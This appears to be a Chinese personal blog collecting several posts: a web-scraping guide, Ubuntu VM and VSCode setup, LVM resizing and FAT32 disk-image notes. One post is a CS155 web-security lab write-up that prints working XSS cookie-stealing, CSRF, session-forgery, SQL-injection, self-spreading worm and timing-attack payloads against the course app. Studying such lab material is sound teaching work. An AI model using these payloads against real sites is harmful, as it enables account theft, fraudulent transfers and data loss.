0%

前言

个人将爬虫分为两类,一类是直接使用 requests 库爬取的,一类是需要使用 selenium 爬取的(比如 js 动态加载)。无论是哪一类,都需要控制请求的频率。

代码的部分基本可以要求 kimi 生成或自己查 api,所以不做赘述。此处仅介绍爬取的思路。

分析内容加载方式

一般情况下,F12 可以唤起浏览器的开发者工具。我们可以使用 F12 来对网页进行分析,决定下一步该做什么。

一般来讲,我们在浏览器上看到的网页,是浏览器加载各种 js 后显示出来的。但在我们使用 requests 库或 curl 时,由于不存在浏览器环境,并不会加载 js,所以我们需要判断要爬取的内容是否在目标页面直接响应的时候就已经存在

一种简单的方式是直接 curl 获取页面的源码,然后检查里面是否有我们想爬的内容。这里我们介绍一下用 F12 来查看。

由于 F12 的网络工具只有在打开时才会记录请求,所以打开 F12 并点击“网络”后还要重新刷新一下页面。一般的,一个页面的直接响应会在第一位。

单击那个请求,点击响应,就可以看到那个响应的源码。使用 ctrl+F 搜索就可以判断想要的内容是否在上面。

如果内容不在上面,那么我们将无法直接使用 requests 库爬取页面。也就是常见的反爬手段:JS 动态加载。

下面的微博就是一个例子。微博的内容并不在 document 类型的页面直接响应中。通过查找,我们可以发现它在一个 hottimeline 的 xhr 类型的请求里。

对于无法直接使用 requests 爬取 html 页面然后使用 beautifulsoup 分析页面代码的,有以下两种思路:

首先,直接发起对应的请求。requests 并不只能请求 html 页面,如果你能分析出内容所在的这个请求是怎么生成的(比如上面的 hottimeline 这个请求),那么你可以直接代替浏览器用 requests 库来发起它

单击该请求,你可以尝试模仿它的 url、标头、载荷、cookie,看看能不能获取到想要的内容。

某种意义上讲,你也可以称其为对页面加载过程的逆向。可能比较复杂,特别在需要涉及到 cookie 凭证的生成等等的时候,感兴趣的可以试一下。

第二种思路就是直接使用 selenium 库。也就是浏览器自动化测试工具。这种方式原理和实现也比较简单,相当于自动打开一个浏览器,让浏览器自己加载内容然后爬取。不用操心乱七八糟的 js 动态加载、 CloudFlare 认证等,可以让浏览器甚至手动代劳。

但是 selenium 需要图形截面和 webdriver,所以难以在服务器上运行。

定位 DOM 元素

直接在页面上对应位置右键然后点击“检查”,可以跳转到元素。而在元素页面挪动鼠标,可以在页面上高亮出该元素的对应内容。

通过这种方式,你可以判断目标元素的位置,然后在右键菜单栏中复制定位的辅助信息比如 XPath 等(也可以自行观察元素 html 代码的属性),用于在代码中抓取指定元素的内容。

请注意,“元素”栏显示的是网页完成加载后的页面元素,如果使用的是 selenium,可以直接参照它来定位。但如果使用的是 requests,元素里呈现的可能与初始响应的不同(当然,大多数情况下是相同的)。

有一些特殊的情况,比如内容虽然包含在直接响应里,但是并不是在 html 页面上,而是在 html 页面源码的 js 块里(比如 IEEE)。

实际上,由于 response.text 实际上就是整个响应的 html 源码,直接对 response.text 使用正则表达式匹配出来即可。下面是一个从 IEEE 的某个文章页面的 js 代码里抓取 xplGlobal.document.metadata 的例子:

1
2
3
4
5
6
7
8
response = requests.get(url, headers=headers)
if response.status_code != 200:
raise Exception(f"response status_code {response.status_code}")
# 获取 JS 里的 metadata
pattern = r"xplGlobal\.document\.metadata\s*=\s*(.*);(?=\s*\n)"
match = re.search(pattern, response.text)
metadata = match.group(1).strip()
ieee_data = json.loads(metadata)

通用流程

其实针对页面的爬虫编写的步骤可以概括为:

  1. 获取包含有想要内容的页面(使用 selenium 的 driver.get 或 requests 库发起请求)

  2. 确定要爬的内容是哪个元素

  3. 使用页面解析库定位并获取元素(这一步如果不懂,可以把辅助信息比如 xpath、对应元素的 html 源码等发送给 kimi 要求针对性的生成代码):

    a. 对于直接 requests 得到的 response,可以使用 beautifulsoup 或 lxml 等;

    b. 对于 selenium,直接使用 find_elements

  4. 处理数据并保存

使用 beautifulsoup 分析并定位元素

beautifulsoup 仅支持基于标签名的检索。下面是一个从 ndss 上爬取作者、摘要信息的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
response = requests.get(url)
if response.status_code != 200:
raise Exception(response.status_code)
soup = BeautifulSoup(response.text, "html.parser")
paper_data_div = soup.find('div', class_='paper-data')
author_extra = ""
abstract = ""
if paper_data_div:
paragraphs = paper_data_div.find_all('p')
# 段落一对应作者(含单位)
author_extra = paragraphs[0].get_text(strip=True)
institutions = ndss_get_institution(author_extra)
for i in range(len(institutions)):
paper["author"][i]["from"] = institutions[i]
# 后续对应摘要
abstract = '\n'.join([p.get_text(strip=True) for p in paragraphs[1:]])
else:
raise Exception("<div paper-data> not found!")
# paper["author_extra"] = author_extra
paper["abstract"] = abstract

需要注意的是,requests 得到的是直接响应。上面的 NDSS 例子中网页结构比较简单,元素与直接响应是对应的。如果你在 F12 中看到了某个元素,但是实际爬的时候没有找到,应该去检查直接响应里这个元素是否存在,以直接响应为准处理。

换句话讲,使用 requests 爬取页面时,不要过分依赖浏览器页面上的元素布置(尤其是相对布置),因为那有可能是前端在加载页面的时候额外从 js 里弄上去的。

至于使用 requests 发起 api 请求的,得到的内容并不是 html 格式,需要使用其它的方式处理。当然,也更简单了。

使用 selenium 爬取元素

下面是使用 selenium 加载并爬取页面元素的基本例子(以推特的页面为例):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
driver = webdriver.Edge()
driver.get("https://x.com/zmjjkk/photo")
photo_xpath = '//img[@alt="Image" and contains(@src, "https://pbs.twimg.com/profile_images/") and contains(@src, "_400x400.jpg")]'
try:
WebDriverWait(driver, 10).until(
expected_conditions.presence_of_element_located((By.XPATH, photo_xpath))
)
except Exception as e:
print(f"{Fore.RED}Fail to get photo when trying for uid {uid}{Style.RESET_ALL}")
try:
# looks changable
img_element = driver.find_element(By.XPATH, photo_xpath)
img_url = img_element.get_attribute('src')
except Exception as e:
print(f"{Fore.RED}Fail to get img url when trying for uid {uid}: {e}{Style.RESET_ALL}")
return (name, intro, img_url)

由于 selenium 需要用浏览器来加载页面,我们需要给出足够的等待时间来让 js 上的内容加载到页面上。

你可能注意到了,我代码中使用的 XPath 非常特殊。这是因为使用 selenium 抓取页面存在一个问题:不稳定性。

以 X 的页面为例,它的 DOM 元素是前端框架动态加载的。当你调整浏览器的窗口大小、甚至换一个环境,元素对应的位置和 class 可能就会发生改变。为此,我们需要找到一个更加稳定的方式来获取这个元素。所以我结合了该 img 标签的特征写下了上面的代码。

当然,只要你把你的需求描述清楚,把你要爬的内容和元素的特征(甚至整个元素的源码复制上去)描述清楚,kimi 也是可以代劳的。

使用 selenium 的另一个好处是可以手动处理一些复杂的事情,比如登录。

1
2
driver.get("https://x.com")
input("Press any key to continue")

我们完全可以在打开的浏览器上把有需要做的事情(比如 cloudflare 人机验证、页面登录)的事情全干了。然后再让它运行。

当然,最优雅最完美的方法肯定是去研究那些东西的机制,而不是手动来做。

防止被 ban

什么道德啊爬虫守则啊这些就不扯淡了。总之爬虫时,建议至少设置一个类似于正常浏览器的 header,并控制请求频率。

部分网站反爬只是断开链接,影响是暂时,而有些网站则会直接 ban 掉你的 ip(比如 dl.acm)。所以还是建议保持足够长的间隔,最好是到10s。没必要那么着急。

总结

其实我自己也没有多了解爬虫和 Web,这篇文章只是把我了解到的写下来,不保证准确。

selenium 基本是万能的解法。但有些时候还是要分析一下 F12 抓到的请求看看有没有更方便更优雅的做法。

并且,当你是打算抓取某个网站的“全部页面”时,你需要考虑一下你要从哪里知道所谓的“全部页面”是哪些。换句话讲:你需要先抓取导航页得到文章列表(也有些网站的文章列表藏在 JS 或某些可模仿的 API 请求里,善用 F12 和 Ctrl+F,你会找到最优雅最高效的解法),再抓取文章内容。只要有思路,实现起来都不难,毕竟有各种生成式 AI 可以辅助你。

此外,Github 上也许有已经写好的开源爬虫库可以使用,特别是 X 之类的网站。如果你要对付的是比较著名的页面,在网络上搜索也许能找到现成的代码资源。

尾声

如何设置

记得设置被动模式的端口范围,然后在入站规则里加入对应范围

前言

把一些有用的科研资源简单的整理一下。

期刊会议列表

中国计算机学会推荐国际学术会议和期刊目录

工具软件

Zotero 非官方中文社区 (建议使用坚果云替代原本的同步)

学者页面

武汉大学

何德彪: 密码学、区块链 彭聪: 密码学、隐私计算

其它

南方科技大学 张殷乾: TEE 安全、机密计算、侧信道

下载说明等文档

来自 cs155 Spring2022

1
2
curl -O https://cs155.github.io/Spring2022/hw_and_proj/proj2/proj2.pdf
curl -O https://cs155.github.io/Spring2022/hw_and_proj/proj2/proj2.zip

实验环境搭建

实验在 VMware 上进行,使用的 Linux 发行版为 Ubuntu 22.04 Server。

docker 的安装参考官方文档

依次执行:

1
2
3
4
unzip proj2.zip -d proj2/
cd proj2
bash build_image.sh
bash start_server.sh

通过 ifconfigip addr show 找到虚拟机的 ip,然后就可以在主机的浏览器上访问了。

npm install 失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 => ERROR [4/5] RUN npm install                                                                                             561.5s
------
> [4/5] RUN npm install:
#0 321.1 npm ERR! network timeout at: https://registry.npmjs.org/babel-cli
#0 561.5
#0 561.5 npm ERR! A complete log of this run can be found in:
#0 561.5 npm ERR! /root/.npm/_logs/2023-04-06T13_43_13_637Z-debug.log
------
Dockerfile:12
--------------------
10 | # where available (npm@5+)
11 |
12 | >>> RUN npm install
13 |
14 | # Bundle app source
--------------------
ERROR: failed to solve: process "/bin/sh -c npm install" did not complete successfully: exit code: 1

发现手动 curl https://registry.npmjs.org/babel-cli 是可以连上的。推测是 docker 的问题。于是在 Dockerfile 中加入下面一行进行测试:

1
RUN curl https://registry.npmjs.org/babel-cli

得到报错:

1
curl: (6) Could not resolve host: registry.npmmirror.com

推测为 DNS 问题。找到一篇 CSDN 博客

参考官方文档,修改 /etc/docker/daemon.json 添加 dns 服务器。

该地址通过 resolvectl status | grep DNS 查看。

1
2
3
{
"dns": ["192.168.43.2"]
}

修改后,重启 docker 服务即可。

1
2
systemctl daemon-reload
systemctl restart docker

挂起虚拟机后重新打开无法访问容器

不懂,遇事不决 systemctl restart docker

攻击实验

看源码,views/profile/view.ejs 里,直接把 errorMsg 塞进了 Html 文本里,而 router.js 里这个错误信息是这样定义的:

1
`${req.query.username} does not exist!`

也就是说,我们要构造字符串替换掉下面的 username 部分

1
<p class='error'> ${req.query.username} does not exist! </p>

前面的标签让它闭合,后面的标签让它隐藏,中间塞脚本就行。答案如下

1
2
3
4
5
6
7
8
9
</p>
<script>
let cke = document.cookie;
let url = `steal_cookie?cookie=${cke}`;
let xhr = new XMLHttpRequest();
xhr.open("GET", url);
xhr.send();
</script>
<p style="display:none">

Cross-Site Request Forgery

edge 和 chrome 的同源策略都太严格了,所以这个实验我用的 IE。

F12 抓包,模仿他的表头发 Post 就行。

恶意网页如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Bad Website!</title>
<script>
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.43.134:3000/post_transfer");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("destination_username=user1&quantity=10");
window.location.replace("https://www.baidu.com");
</script>
</head>
<body>
<p>Hello World!</p>
</body>
</html>

登录网页后打开这个恶意页面会往 user1 发 10 块钱然后导到百度。

Session Hijacking with Cookies

看源码 app.js,用的 cookie-session,而且压根没加密。把 cookie 里的 session 弄出来直接通过 base64 解码就是 json 了,然后直接改就完事了。改完给它塞回去。

取 cookie 的前面大段 docCookie 我是从 MDN 上直接抄的。其实直接用 substr 截取字符串也是一样的。

如果 profile 里有奇奇怪怪的特殊字符可能会在解码的时候出岔子?算了,题目没在乎这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var docCookies = {
getItem: function (sKey) {
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
},
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
var sExpires = "";
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
break;
case String:
sExpires = "; expires=" + vEnd;
break;
case Date:
sExpires = "; expires=" + vEnd.toUTCString();
break;
}
}
document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
return true;
},
removeItem: function (sKey, sPath, sDomain) {
if (!sKey || !this.hasItem(sKey)) { return false; }
document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
return true;
},
hasItem: function (sKey) {
return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
},
keys: /* optional method: you can safely remove it! */ function () {
var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
return aKeys;
}
};

let ses = docCookies.getItem("session");
let info_s = b64_to_utf8(ses);
let info = JSON.parse(info_s);

console.log(info_s);

info.account.username = "user1";
info_s = JSON.stringify(info);
ses = utf8_to_b64(info_s);

console.log(info_s);

document.cookie = "session=" + ses;

Cooking the Books with Cookies

看源码 router.js,会发现它在更新数据的时候原数目是直接从 session 里取的

1
2
3
req.session.account.bitbars -= amount;
query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`;
await db.exec(query);

所以你直接对 cookie 改动,然后随便 trans 一下,这个东西就写到数据库里了。

答案如下,基本跟上一个是一样的

1
2
3
4
5
6
7
8
9
10
var docCookies = {
...
};
let ses = docCookies.getItem("session");
let info_s = atob(ses);
let info = JSON.parse(info_s);
info.account.bitbars = 1000000000;
info_s = JSON.stringify(info);
ses = btoa(info_s);
document.cookie = "session=" + ses;

SQL Injection

看源码 router.js,代码

1
2
const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`
await db.get(query);

要求删掉该用户时 user3 也会被删掉。关键在于如何让这个恶意用户也一起被删掉。

1
user3" or username like "user3%

Profile Worm

查看 Profile 时触发,观察源码,profile 的内容是插入到 html 里的,鉴定为 XSS 注入。

目标是传染,查询到被感染的 profile 会让自己的 profile 也变成这个,且 bitbars 显示为 10,并给攻击者发 1 块钱。

这个显示为 10,则是利用 id 的唯一性,在前面把 bitbar_count 这个 id 先占住。

接下来就是自我复制的问题了。直接把内容写进字符串里套娃是不可能的,那就只能复制显示出来的东西了。

看源码 views/pages/profile/view.ejs,发现这部分是有 id 的

1
2
3
<% if (result.username && result.profile) { %>
<div id="profile"><%- result.profile %></div>
<% } %>

利用这个 id 来复制内容就好了。

但是,直接从元素的 innerHTML 里搞出来的是没处理过的,里面会有一些像 & 或是奇怪的字符。需要处理一下。随便 update profile 一下观察一下,不难看出在提交表单时是转义过的(废话

参考万能的 MDN,发起 post 请求的时候用 encodeURIComponent() 编码就行了。

cookie 里的 profile 改不改无所谓(虽然我还是改了),反正 logout 重进就出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<h3>You are infected!</h3>

<span id="bitbar_count" class="10" />

<script>
// parse cookie
let ses = document.cookie.slice(8);
let info_s = atob(ses);
let info = JSON.parse(info_s);
// get profile and modify
let prof = document.getElementById("profile").innerHTML;
info.account.profile = prof;
// encode again
info_s = JSON.stringify(info);
ses = btoa(info_s);
document.cookie = "session=" + ses;
// trans
let xhr1 = new XMLHttpRequest();
xhr1.open("POST", "post_transfer");
xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr1.send("destination_username=attacker&quantity=1");
// upload profile to database
let xhr2 = new XMLHttpRequest();
xhr2.open("POST", "set_profile");
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send("new_profile=" + encodeURIComponent(prof));
</script>

Password Extraction via Timing Attack

最后这个是要你改 gamma_starter.html 来进行一次侧信道攻击。

这个 on error 我没用过,随便试了试,大概就下面这样吧。总之,记下用时,取那个最离谱的就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<span style='display:none'>
<img id='test'/>
<script>
var dictionary = [`password`, `123456`, `12345678`, `dragon`, `1234`, `qwerty`, `12345`];
var index = 0, ans = -1, ti = 0;
var test = document.getElementById(`test`);
test.onerror = () => {
var end = new Date();

/* >>>> HINT: you might want to replace this line with something else. */
console.log(`Try ${dictionary[index - 1]}: Time elapsed ${end-start}`);
if (ti < end - start) {
ti = end - start;
ans = index - 1;
}
/* <<<<< */

start = new Date();
if (index < dictionary.length) {
/* >>>> TODO: replace string with login GET request */
test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`;
/* <<<< */
} else {
/* >>>> TODO: analyze server's reponse times to guess the password for userx and send your guess to the server <<<<< */
let xhr = new XMLHttpRequest();
xhr.open("GET", `http://192.168.43.134:3000/steal_password?password=${dictionary[ans]}&timeElapsed=${ti}`);
xhr.send();
}
index += 1;
};
var start = new Date();
/* >>>> TODO: replace string with login GET request */
test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`;
/* <<<< */
index += 1;
</script>
</span>

前言

最近总是重搭虚拟机。简单记录下如何快速的让虚拟机好用。

下载

清华源 Ubuntu Release

换源

清华源 Ubuntu 软件镜像仓库 阿里云 Ubuntu 软件镜像仓库

用阿里源的可以手动注释掉 deb-src 的行。

设置 root 密码

1
sudo passwd

常用包

1
net-tools

oh-my-zsh

1
2
apt install zsh
chsh -s /bin/zsh

通过 gitee 同步仓库安装:

1
2
curl -o install.sh https://gitee.com/mirrors/oh-my-zsh/raw/master/tools/install.sh
REMOTE=https://gitee.com/mirrors/oh-my-zsh.git sh install.sh

建议再加个插件: zsh-syntax-highlighting

1
2
3
git clone https://gitee.com/minhanghuang/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
# 在插件列表中添加 zsh-syntax-highlighting
vim .zshrc

fish

fishshell 是个好东西,虽然我还是习惯 zsh

vim

vim 有好多版本,如果是桌面操作系统例如 GNOME 建议装 vim-gtk3

无图形化界面或单纯在命令行中使用建议装 vim-nox。因为它支持 Perl、Python、Ruby 和 TCL 脚本

ssh-server

ubuntu 下安装:

1
sudo apt install openssh-server

配置文件 /etc/ssh/sshd_config

加入自己的 keys

1
curl https://github.com/<username>.keys | tee -a ~/.ssh/authorized_keys

在主机上连接虚拟机:

1
ssh lky@192.168.xxx.xxx

git

通过 https 端口连接 git@github.com(有时能绕开 DNS 污染)

修改 ~/.ssh/config

1
2
3
Host github.com
Hostname ssh.github.com
Port 443

生成 key

1
ssh-keygen -t ecdsa -b 521 -C "your_email@example.com"

开启共享文件夹

先在 GUI 设置,然后

1
vmhgfs-fuse .host:/ /mnt/hgfs

当然,也有可能不需要这么干,如果提示 nonempty 的话说明 GUI 设置完自动处理好了

clash

参考这篇博客

下载安装:

1
2
3
4
5
6
# 使用了公益镜像源,可能会失效
curl -O https://download.nuaa.cf/Dreamacro/clash/releases/download/v1.14.0/clash-linux-amd64-v1.14.0.gz
# curl -O https://github.com/Dreamacro/clash/releases/download/v1.14.0/clash-linux-amd64-v1.14.0.gz
gzip -d clash-linux-amd64-v1.14.0.gz
sudo install -m 755 ./clash-linux-amd64-v1.14.0 /usr/local/bin/clash
clash -v

拷贝配置:

1
2
3
4
5
6
sudo mkdir /etc/clash
# 自己的 config.yaml 例如可以在 windows 的 clash 那里搞出来
sudo cp config.yaml /etc/clash
# Country.mmdb 可以下载
sudo curl -O https://proxy.freecdn.ml/?url=https://github.com/Dreamacro/maxmind-geoip/releases/download/20230512/Country.mmdb
# sudo curl -O https://github.com/Dreamacro/maxmind-geoip/releases/download/20230512/Country.mmdb

编写 systemd 服务配置 sudo vim /etc/systemd/system/clash.service:

1
2
3
4
5
6
7
8
9
10
11
[Unit]
Description=Clash daemon, A rule-based proxy in Go.
After=network.target

[Service]
Type=simple
Restart=always
ExecStart=/usr/local/bin/clash -d /etc/clash

[Install]
WantedBy=multi-user.target

开启服务:

1
2
3
sudo systemctl enable clash
sudo systemctl start clash
sudo systemctl status clash

可以看到端口,export 到变量里即可

1
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890

取消的话

1
unset  http_proxy  https_proxy

前言

软安实验要求使用 Windows SDK。但是电脑硬盘有点吃紧,而且用习惯了 VScode,不想用 Visual Studio。于是就有了这篇文章。

在这篇文章中,你可能会感兴趣的是:

  1. 不安装 VS 的情况下安装 MSVC 开发环境,并修改安装盘
  2. 配置 VScode,使得调试生成不需要在 Developer Command Prompt 下打开 VScode

参考资料: VScode 文档

下载、安装 Make Tools

我们可以选择下载 Vistual Studio 生成工具,而不是安装整个 Vistual Studio。

官网下载页面下拉,找到 "所有下载 -> 适用于 Vistual Studio 2022 的工具 -> Visual Studio 2022 生成工具"。

如果在运行下载的安装包时出现闪退,请不要反复双击安装包,因为它其实是 Installer 的安装包。可以在 Windows 搜索中手动打开 Vistual Studio Installer 后选择 VS 生成工具进行安装。

安装时根据需要,选中 "使用 C++ 的桌面开发" 即可。

安装时,可以选择安装位置到 D 盘。如果有一些选项是灰色的,可以打开注册表 (Windows + R 输入 regedit),删除 "HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Visual Studio > setup",再重新打开 Installer 进行安装。

VScode 配置

在终端列表中添加 Developer Command Prompt

在设置中搜索: terminal.integrated.profiles.windows,点击在 settings.json 中编辑 (args 中的路径需要自己修改):

1
2
3
4
5
6
7
8
9
10
11
12
{
"terminal.integrated.profiles.windows": {
"VS 2019": {
"path": "C:\\Windows\\System32\\cmd.exe",
"args": [
"/k",
"D:\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\VsDevCmd.bat"
]
},
...
},
}

配置 C/C++

按需修改即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"configurations": [
{
"name": "Win32",
"includePath": [
"${default}"
],
"defines": [
"_DEBUG",
"UNICODE",
"_UNICODE"
],
"windowsSdkVersion": "10.0.19041.0",
"compilerPath": "D:/Microsoft Visual Studio/2019/Community/VC/Tools/MSVC/14.29.30133/bin/Hostx64/x64/cl.exe",
"cStandard": "c17",
"cppStandard": "c++17",
"intelliSenseMode": "windows-msvc-x86"
}
],
"version": 4
}

配置 Build Task

修改 task.json 如下 (args 中的路径需要自己修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
"version": "2.0.0",
"windows": {
"options": {
"shell": {
"executable": "cmd.exe",
"args": [
"/C",
"\"D:/Microsoft Visual Studio/2019/Community/Common7/Tools/VsDevCmd.bat\"",
"&&"
]
}
}
},
"tasks": [
{
"type": "shell",
"label": "cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"problemMatcher": [
"$msCompile"
],
"group": {
"kind": "build",
"isDefault": true
}
}
]
}

在 "终端 -> 运行生成任务" (Ctrl + Shift + B) 时选择 "cl.exe build active file",即可不通过 Developer Command Prompt 打开 VScode 来生成活动文件了。

配置 Debug

在 launch.json 中添加 (注意: preLaunchTask 要与 task.json 中的 label 一致):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"version": "0.2.0",
"configurations": [
{
"name": "C/C++: cl.exe build and debug active file",
"type": "cppvsdbg",
"request": "launch",
"program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "cl.exe build active file"
}
]
}

配置完后,就可以通过: "终端 -> 运行任务" 中选择 "C/C++: cl.exe build and debug active file" 来生成并运行了。

初次运行完成 Default 的设置后,就可以通过 F5 启动调试了。

console 项是在运行时生成一个新的窗口,而不是使用调试控制台。它默认为 internalConsole。较低版本中配置方法不同,如下:

1
"externalConsole": true,

前言

最近装了点东西,磁盘空间有点吃不消了。于是想着给虚拟机扩展磁盘。我使用的 VMware® Workstation 16 Pro。使用的 Linux 镜像是 ubuntu-20.04.5-live-server-amd64。

由于之前安装系统的时候没怎么细看,直接一路默认点过去了。我发现使用的似乎是 LVM。

所以鼓捣一下,扩了下容,记录下做法。

Part 1

输入 df -h,可以查看文件系统磁盘空间的使用情况。我发现,我的 /dev/mapper/ubuntu--vg-ubuntu--lv 也就是挂载在 / 的已经满了。 用了 8 个 G。但实际上我不止给我的虚拟机分配了这么点,我分了 20 G。应该是什么地方没设置好。

当我查看硬盘状况 sudo fdisk -l 时,发现 /dev/sda3 有 18 个 G。也就是说其实我还有 10 个 G 没有用上。

所以去查了一下,翻到了不少博客。

首先,输入 sudo vgdisplay,发现果然还有很大的 Free Size。

于是,运行下面的指令扩展逻辑卷的大小:

1
lvextend -L +10G /dev/mapper/ubuntu--vg-ubuntu--lv

具体扩大几 G 取决于 Free Size 的大小,10 G 对我来说是可行的。

然后把文件系统的大小也调整一下:

1
resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv

Part 2

后来,我发现原本分配的这 20 个 G 也不是很够用。于是我又在 VMware 里通过“虚拟机--设置--硬盘--扩展”,给它分配到了 40 G。

再次输入 sudo fdisk /dev/sda -l 时,我发现,它的大小已经变大,但是三个分区的大小没变,并且出现了 "GPT PMBR size mismatch (41943039 != 83886079) will be corrected by write." 的提示。

于是我直接 sudo fdisk /dev/sda。输入 d 删掉了原本 18 G 的分区 3,然后输出 n 重新建了分区 3,建分区的过程保持默认,它会自动帮我分配剩余的所有空间到这个分区里。在提示是否删除原有标签的时候选择了 No。

但是此时,pv 卷的大小还没有变,只是物理盘大小大了。用下面的指令就可以把 pv 卷自动调整。

1
2
3
4
# 查看自己的物理卷名字 我的叫 /dev/sda3
sudo pvdisplay
# 调整段的大小
sudo pvresize /dev/sda3

再次 sudo pvdisplay。发现 pv 卷的大小对了。

再次 sudo vgdisplay。发现 Free Size 又有了。

再重复 Part 1 的步骤就行了。

前言

事情是这样的。我们软安有个实验,需要一个 FAT32 的磁盘或 U 盘来研究文件系统和磁盘的结构。

但是非常尴尬的是,我压根没有这样的条件。我的两个盘都是 NTFS 的,手头也没有 U 盘。

所以我决定在 Linux 下,使用虚拟磁盘映像来做这个实验。

下面我将会嗯造一个实验用的磁盘映像。为了达到研究的目的,它会有分区,有 FAT32 文件系统,并且各个分区会有一些各种各样的文件。

创建虚拟磁盘

其实就是需要个满足要求大小的文件。

方法一:使用 bximage

在 OS 实验中应该用过这个玩意的。fd 还是 hd 都无所谓,没指定 type 就是默认 flat,出来的就会是 128M 的“空”文件。

1
2
sudo apt install bximage
bximage -func=create -fd=128M -q myDisk.img

方法二:使用 dd 和 /dev/zero

同样也是 OS 实验用过的东西。只不过这次的输入来源是 /dev/zero 这个特殊的设备。它会不停的输出 0 (NULL)。

1
2
# 下面的指令会往 myDisk.img 里填充 128Mb 的 0
dd if=/dev/zero of=myDisk.img bs=1M count=128

磁盘分区

此时的磁盘还没有分区,我们需要对它进行分区。

1
sudo fdisk myDisk.img

执行上面的指令后,会进入 fdisk 提供的交互界面。它的使用大致如下:

  • 输入 m 可以查看所有能用的指令。
  • 输入 l 可以查看所有支持的文件类型的 16 进制码。可以看到我们需要的 FAT32 类型码是 b。
  • 输入 p 可以查看当前已有的分区状况。现在还没有任何分区。
  • 输入 n 创建一个新的分区。进入分区创建的交互: 输入 p/e 来创建主分区或扩展分区。这里我们输入 p。 输入一个数字作为分区号。这里我们保持默认(分区 1)。 输入一个数字表示第一扇区的起始扇区。这里我们保持默认。 输入一个数字来表示第一扇区的最后扇区。这里我们输入一个比较靠中间的数(因为我想多造点分区)。 此时我们就造出了一个分区。分区的默认类型是 linux。 重复上述过程,多造一两个分区出来。
  • 输入 t 来修改分区的类型。将创建的分区修改位 FAT32(b)类型。具体操作跟着交互提示走,此处不再赘述。
  • 输入 O 可以导出我们当前的配置。输入 L 可以载入一个配置。
  • 输入 w 来将修改写入虚拟硬盘。并退出 fdisk。

简单的规划一下:我们的盘是 128 Mb。注意 FAT32 对簇的数量是有要求的。它要求至少要有 65525 个簇。我们的扇区大小是 512 b。大致算一下,一个分区至少要有 32 Mb。

(我暂时还没有理解 65525 的逻辑所在。情报来源是这个。)

你可以把已经算好的配置用 O 导出了。你可以这样做:

1
2
3
4
# 如果你忘了用 O。你也可以这样导出:
sudo sfdisk -d myDisk.img > disksrc
# 这样可以用之前的分区配置来分区:
sudo sfdisk myDisk.img < disksrc

下面是我的 diskrc,如果不想手动分区,也可以直接用我的导入:

1
2
3
4
5
6
7
8
label: dos
label-id: 0x50380754
device: myDisk.img
unit: sectors

myDisk.img1 : start= 2048, size= 67953, type=b
myDisk.img2 : start= 71680, size= 70001, type=b
myDisk.img3 : start= 143360, size= 118784, type=b

分区我是随便加的。如果你希望多分几个区甚至扩展分区来研究,最好把磁盘大小拉大一点,比如拉到 256 Mb。

